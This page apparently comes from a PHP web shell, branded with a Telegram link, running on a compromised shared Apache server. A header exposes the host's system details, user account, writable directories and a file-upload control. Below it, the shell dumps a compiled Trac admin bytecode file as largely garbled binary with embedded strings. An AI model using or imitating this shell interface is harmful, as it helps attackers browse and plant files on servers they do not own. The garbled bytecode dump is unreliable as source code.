https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/admin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/admin/__pycache__/web_ui.cpython-310.pyc
o

�k�`�b�@s�ddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlTddlm
Z
ddlmZmZmZddlmZmZmZdd	lmZmZdd
lmZddlmZmZmZddlm Z m!Z!m"Z"m#Z#m$Z$dd
l%m&Z&m'Z'm(Z(ddl)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/ddl0m1Z1e2�Z3e3�4ej�e3�4ej�Gdd�de5�Z6ddd�Z7Gdd�de5�Z8Gdd�de5�Z9Gdd�de5�Z:Gdd�de5�Z;dS)�N)�partial)�log)�IAdminPanelProvider)�*)�get_plugin_info)�
LOG_LEVELS�LOG_LEVEL_ALIASES�LOG_LEVEL_ALIASES_MAP)�IPermissionRequestor�PermissionExistsError�PermissionSystem)�
all_timezones�pytz)�tag)�exception_to_unicode�unicode_from_base64�unicode_to_base64)�_�Locale�get_available_locales�ngettext�tag_)�HTTPNotFound�IRequestHandler�is_valid_default_handler)�Chrome�INavigationContributor�ITemplateProvider�
add_notice�add_stylesheet�add_warning)�format_to_htmlc@s\eZdZdZeeee�ee	�Z
dd�Zdd�Zdd�Z
dd	�Zd
d�Zdd
�Zdd�ZdS)�AdminModulez8Web administration interface provider and panel manager.cCsdS)N�admin���self�reqr$r$�3/usr/lib/python3/dist-packages/trac/admin/web_ui.py�get_active_navigation_item;�z&AdminModule.get_active_navigation_itemccs<�|�|�\}}|rddtjtd�|j��d�fVdSdS)N�mainnavr#�Admin)�href)�_get_panelsr�arr-r#)r&r'�panels�	providersr$r$r(�get_navigation_items>s
�$�z AdminModule.get_navigation_itemscCsJt�d|j�}|r#|�d�|jd<|�d�|jd<|�d�|jd<dSdS)	Nz+/admin(?:/([^/]+)(?:/([^/]+)(?:/(.+))?)?)?$��cat_id��panel_id��	path_infoT)�re�matchr8�group�args)r&r'r:r$r$r(�
match_requestGs��zAdminModule.match_requestc
s&|�|�\}}|sttd���dd�}|j|d�|j�d�p$|dd�|j�d�}|j�d�}|sRztt�fd	d
�|��dd}Wn
tyQttd���w|��|f�}|sattd���|�	|�||�}|dd�\}	}
|
�
�|t|jd
�|�t
�dd�|D�dd
��d��t|d�|S)Nz"No administration panels availablecSs$|ddd�}|ddk|dk|fS)Nr5r�general)r>�basicsr$)�panel�itemsr$r$r(�_panel_orderUsz1AdminModule.process_request.<locals>._panel_order)�keyr4rr6r8cs|d�kS)Nrr$)r@�r4r$r(�<lambda>_sz-AdminModule.process_request.<locals>.<lambda>r5zUnknown administration panelr#cSs2g|]}|d|dd�|d|dd�d��qS)rr3)�id�labelr5r7)�categoryr@r$)�.0r@r$r$r(�
<listcomp>ns
�
�z/AdminModule.process_request.<locals>.<listcomp>cSs|dS)NrHr$)�kr$r$r(rEqs)�
active_cat�active_panel�
panel_hrefr0zcommon/css/admin.css)r.rr�sortr<�get�list�filter�
IndexError�render_admin_panel�updaterr-�	itertools�groupbyr)r&r'r0r1rBr6r8�provider�resp�template�datar$rDr(�process_requestPsH����
���
	zAdminModule.process_requestcCsgS�Nr$�r&r$r$r(�get_htdocs_dirsyr*zAdminModule.get_htdocs_dirscCst�dd�gS)Nz
trac.admin�	templates)�
pkg_resources�resource_filenamer^r$r$r(�get_templates_dirs|szAdminModule.get_templates_dirscCsTg}i}|jD]}t|�|�pg�}|D]}|||d|df<q||7}q||fS)z(Return a list of available admin panels.rr5)�panel_providersrQ�get_admin_panels)r&r'r0r1rX�pr@r$r$r(r.�s

zAdminModule._get_panelsN)�__name__�
__module__�__qualname__�__doc__�
implementsrrr�ExtensionPointrrdr)r2r=r\r_rcr.r$r$r$r(r"2s		)r"c
Cszz|��|durtd�g}|D]}t||�qWdSty<}z|�dt|��t|td��WYd}~dSd}~ww)zZTry to save the config, and display either a success notice or a
    failure warning.
    NzYour changes have been saved.zError writing to trac.ini: %szhError writing to trac.ini, make sure it is writable by the web server. Your changes have not been saved.)�saverr�	Exception�errorrr )�configr'r�notices�notice�er$r$r(�_save_config�s
���rtc@s,eZdZee�ee�Zdd�Zdd�Z	dS)�BasicsAdminPanelcc�0�d|�dd�vrdtd�dtd�fVdSdS)N�
TRAC_ADMINr#zgeneral/basicsr>�Generalr?zBasic Settings��permrr%r$r$r(re����z!BasicsAdminPanel.get_admin_panelscCs�dd�|jD�}tr!t�}dd�|D�}tdd�t||�D��}nggg}}}|jdkr�dD]}	|j�d|	|j�	|	��q0|j�	d	�}
|j�d
d	|
�|j�	d�}|t
vrYd}|j�d
d|�|j�	d
�}||vrmd}|j�d
d
|�|j�	d�}
|
dkr�d}
|j�d
d|
�|j�	d�}|dvr�d}|j�d
d|�t|j||j�|�
|j�||��|j�	d
d	�}
|j�	d
d�}|j�	d
d
�}|j�	d
d�}
|j�	d
d�}|
t|�|t
tdu|�dd�||
|tdud�
}t|j��|�d|fS)NcSsg|]
}t|�r|jj�qSr$)r�	__class__rg)rI�handlerr$r$r(rJ�s�z7BasicsAdminPanel.render_admin_panel.<locals>.<listcomp>cSsg|]}t�|��qSr$)r�parse)rI�localer$r$r(rJ�scss�|]
\}}||jfVqdSr])�display_name)rIrFrr$r$r(�	<genexpr>�s��z6BasicsAdminPanel.render_admin_panel.<locals>.<genexpr>�POST)�name�url�descr�project�default_handler�trac�default_timezone��default_language�default_date_format�iso8601�default_dateinfo_format)�relative�absoluter��-r)
r��valid_default_handlersr��	timezones�has_pytzr��	languagesr�r��	has_babelzadmin_basics.html)�request_handlersrr�sorted�zip�methodrp�setr<rPr
rtr�redirectr-r#r�replacer�env�add_textarea_grips)r&r'�cat�pager8r��
locale_ids�localesr��optionr�r�r�r�r�r[r$r$r(rT�sr�
�

�
��
�z#BasicsAdminPanel.render_admin_panelN)
rgrhrirkrrlrr�rerTr$r$r$r(ru�s
ruc@s$eZdZee�dd�Zdd�ZdS)�LoggingAdminPanelccrv)Nrwr#zgeneral/loggingr>rx�logging�Loggingryr%r$r$r(re�r{z"LoggingAdminPanel.get_admin_panelscCs�|jj}|jj}|jj}|jj}tdtd�|dkdd�tdtd�|dkdd�tdtd�|dkdd�td	td
�|dvtjdkd�td
td�|dvtjdkd�g}	|j	dk�r1d}
|j
�d�}|dd�|	D�vrqttd|d�td���|j
�d|�}|s�ttd�td���|j
�d|�}
|
t
vr�ttd|
d�td���|}tj�|�s�tj�|jj|�}z|j�|||
|jj�\}}Wn+ty�}zt|tdt�t|��d ��|j�d!t|d"d#��WYd}~n;d}~ww|��||kr�|j�d$d|�d"}
|}|
|k�r
|j�d$d|
�d"}
|
}||k�r|j�d$d|�d"}
|}|
�r't|j||j�f|�|j �!||��t"tj#tj#jd"d%�}d&d�|D�}t$�||�}||	||||d'�}d(d)|ifS)*N�none�NoneF)r�rG�selected�disabled�stderr�Console�file�File�syslog�Syslog)�unixr��posix�eventlogzWindows event log)�winlogr��
nteventlog�ntr��log_typecSsg|]}|d�qS�r�r$)rI�tr$r$r(rJsz8LoggingAdminPanel.render_admin_panel.<locals>.<listcomp>zUnknown log type %(type)s)�typezInvalid log type�log_filezYou must specify a log filez
Missing field�	log_levelzUnknown log level %(level)s)�levelzInvalid log levelz_Changes not saved. Logger configuration error: %(error)s. Inspect the log for more information.)rozLogger configuration error: %sT��	tracebackr�)rC�reversecSsg|]	}|tjvr|�qSr$)rr)rIr�r$r$r(rJK�)r��typesr��levelsr��dirzadmin_logging.htmlr)%r�r�r�r��log_dir�dictr�osr�r�r<rP�	TracError�_valid_log_levels�path�isabs�join�
create_logger�
log_formatrnr rr�coderrro�closerpr�rtr�r-r#r��
LOG_LEVEL_MAPr	)r&r'r�r�r8r�r�r�r��	log_types�changed�new_type�new_file�	new_level�
new_file_path�loggerr}rs�
all_levels�
log_levelsr[r$r$r(rT�s�
�
�
�
�
��
��
��
���
���	

��z$LoggingAdminPanel.render_admin_panelN)rgrhrirkrrerTr$r$r$r(r��sr�c@s.eZdZeee�dd�Zdd�Zdd�ZdS)�PermissionAdminPanelcCsddg}|d|fgS)N�PERMISSION_GRANT�PERMISSION_REVOKE�PERMISSION_ADMINr$)r&�actionsr$r$r(�get_permission_actions[sz+PermissionAdminPanel.get_permission_actionsccs<�|�dd�}d|vsd|vrdtd�dtd�fVdSdS)	Nr#�general/permr�r�r>rxrz�Permissionsry)r&r'rzr$r$r(re`s
��z%PermissionAdminPanel.get_admin_panelsc
s�t|j�}|��}�jdk�r��j�dd���}�j�dd���}�j�d�}	�j�dd���}
|r6|��sB|
r<|
��sB|rH|��rHtt	d���d�jvr�|r�|	r���
d	d
��d�|	|vrdtt	d����j
�|	�z|�||	�Wnty�}zt
�|�WYd}~�n/d}~wwt�t	d
||	d���nd�jvr�|r�|
r���
d	d
��d�t|j|
dd��D]}	�j
j|	tdt�|�t�|
�t�|	�d�d�q�z|�||
�Wnty�}zt
�|�WYd}~n�d}~wwt�t	d||
d��n�d�jv�rp|�rp|�rp��
d	d
��d�|���|g�}|�s t
�t	d|d��|D]B}	|	|v�r3|j�d|	|��q"|	�j
v�rEt
�t	d|	|d���q"z|�||	�Wnt�yXY�q"wt�t	d
||	d���q"���j�||��nEd�jv�r�d�jv�r���
d	d
��d��j�d�D]"}
|
�dd �\}}	t|�}t|	�}	||	f|��v�r�|�||	��q�t�t	d!�����j�||��d"|�fd#d$�|D�|��|� �t!d%�fS)&Nr��subjectr��target�actionr;z9All upper-cased tokens are reserved for permission names.�addr#r�r�zUnknown actionzCThe subject %(subject)s has been granted the permission %(action)s.)r�r�F)�expand_metaz�The subject %(subject)s was not added to the group %(group)s. The group has %(perm)s permission and you cannot grant permissions you don't possess.)r�r;rz)�messagez>The subject %(subject)s has been added to the group %(group)s.)r�r;�copyz6The subject %(subject)s does not have any permissions.)r�z2Skipped granting %s to %s: permission unavailable.zsThe permission %(action)s was not granted to %(subject)s because users cannot grant permissions they don't possess.)r�r��remove�selr��:r3z+The selected permissions have been revoked.zadmin_perms.htmlcsg|]	}|�jvr|�qSr$)rz)rIr/�r'r$r(rJ�r�z;PermissionAdminPanel.render_admin_panel.<locals>.<listcomp>)r��allowed_actions�perms�groupsr)"rr��get_actionsr�r<rP�strip�isupperr�rrz�require�grant_permissionr rr��get_user_permissionsrr�strong�get_users_dictr�warningrr�r-r#�getlist�splitr�get_all_permissions�revoke_permission�get_groups_dictr)r&r'r�r�r8rz�all_actionsr�r�r�r;rs�subject_permissionsrCr$r�r(rTes�
������������
��
�������z'PermissionAdminPanel.render_admin_panelN)	rgrhrirkrr
r�rerTr$r$r$r(r�Vs

r�c@sDeZdZee�dd�Zdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
S)�PluginAdminPanelccrv)Nrwr#zgeneral/pluginr>rx�plugin�Pluginsryr%r$r$r(re�r{z!PluginAdminPanel.get_admin_panelscCs�|jdkr=d|jvr|�|�nd|jvr|�|�n|�|�d}d|jvr1d|j�d�d}|�|j�||�|�|�	|�S)Nr��install�	uninstallr�rz#no%dr3)
r�r<�_do_install�
_do_uninstall�
_do_update�getintr�r-r#�_render_view)r&r'r�r�r8�anchorr$r$r(rT�s





z#PluginAdminPanel.render_admin_panelcCsbd|jvrttd���|jd}t|t�s|jsttd���|j�dd��dd�}tj�	|�}|s7ttd���|�
d�sG|�
d�sGttd���tj�|jj
|�}tj�|�r^ttd	|d
���|j�d|�tjtjtj}z|tj7}Wn	ty~Ynwt�t�||d�d
��}t�|j|�|j�d||�Wd�n1s�wY|jj��dS)zInstall a plugin.�plugin_filezNo file uploaded�\�/r�z.eggz.pyz0Uploaded file is not a Python source file or eggz!Plugin %(name)s already installedr�zInstalling plugin %si��wbzPlugin %s installed to %sN)r<r�r�
isinstance�str�filenamer�r�r��basename�endswithr�r��plugins_dir�isfiler�info�O_CREAT�O_WRONLY�O_EXCL�O_BINARY�AttributeError�fdopen�open�shutil�copyfileobjr�rp�touch)r&r'�upload�plugin_filename�target_path�flags�target_filer$r$r(r�sF


����
��zPluginAdminPanel._do_installcCs^|j�d�}|s
dStj�|jj|�}tj�|�sdS|j�	d|�t�
|�|jj��dS)zUninstall a plugin.r$NzUninstalling plugin %s)
r<rPr�r�r�r�rrrrr�rpr")r&r'r$�plugin_pathr$r$r(rs
zPluginAdminPanel._do_uninstallcCs<|j�d�}|j�d�}gg}}|D]7}t|j�|��}||v}||krJ|j�d||r.dnd�|j�d|r9dnd|�|rE|�	|�q|�	|�q|sO|r�d	d
�}	|�
�|�
�g}
|rqtddt|��}|
�	t
||	|���|r�td
dt|��}|
�	t
||	|���|D]	}|jj|d�q�t|j||j|
�dSdS)zUpdate component enable state.�	component�enable�
componentsr��enabledz%sabling component %s�Dis�EncSs,dd�|D�}tjt�dd�|D��dd�S)NcSsg|]}|�dd��qS)�.r3)�rsplit)rI�itemr$r$r(rJ:szBPluginAdminPanel._do_update.<locals>.make_list.<locals>.<listcomp>css8�|]\}}t�tj|dd�tjd|dd��VqdS)z	trac-name��class_z(%s.*)N)r�tr�td)rI�m�cr$r$r(r�;s���
�zAPluginAdminPanel._do_update.<locals>.make_list.<locals>.<genexpr>z
trac-pluglistr2)r�table�tbody)rA�partsr$r$r(�	make_list9s��z.PluginAdminPanel._do_update.<locals>.make_listz*The following component has been disabled:z,The following components have been disabled:z)The following component has been enabled:z+The following components have been enabled:)r)N)r<r��boolr��is_component_enabledrpr�rr�appendrOr�lenr�set_defaultsrt)r&r'r+r,�added�removedr)�
is_enabled�must_enabler;rq�msgr$r$r(r	"sL


��
����zPluginAdminPanel._do_updatecsNt�jdd�}�fdd�}||j�d�t��jjtjtj�|d�}d|fS)NT)�include_corec
sVzt�j||�WSty*}z�j�dt|dd��t�|�WYd}~Sd}~ww)Nz,Unable to render component documentation: %sTr�)r!r�rnrrorr�pre)�context�textrsr^r$r(�safe_wiki_to_htmlVs
���z8PluginAdminPanel._render_view.<locals>.safe_wiki_to_html�show)�pluginsrK�readonlyrJzadmin_plugins.html)	rr�r<rPr��accessr�F_OK�W_OK)r&r'rLrJr[r$r^r(rSs	

��zPluginAdminPanel._render_viewN)rgrhrirkrrerTrrr	rr$r$r$r(r�s&1rr])<rVr�rar9r �	functoolsrr�r�trac.admin.apir�	trac.core�trac.loaderr�trac.logrrr	�	trac.permr
rr�trac.util.datefmtr
r�trac.util.htmlr�trac.util.textrrr�trac.util.translationrrrrr�trac.web.apirrr�trac.web.chromerrrrrr �trac.wiki.formatterr!r�r�rU�	Componentr"rtrur�r�rr$r$r$r(�<module>s8 
]Qe}

https://t.me/RX1948 - 2025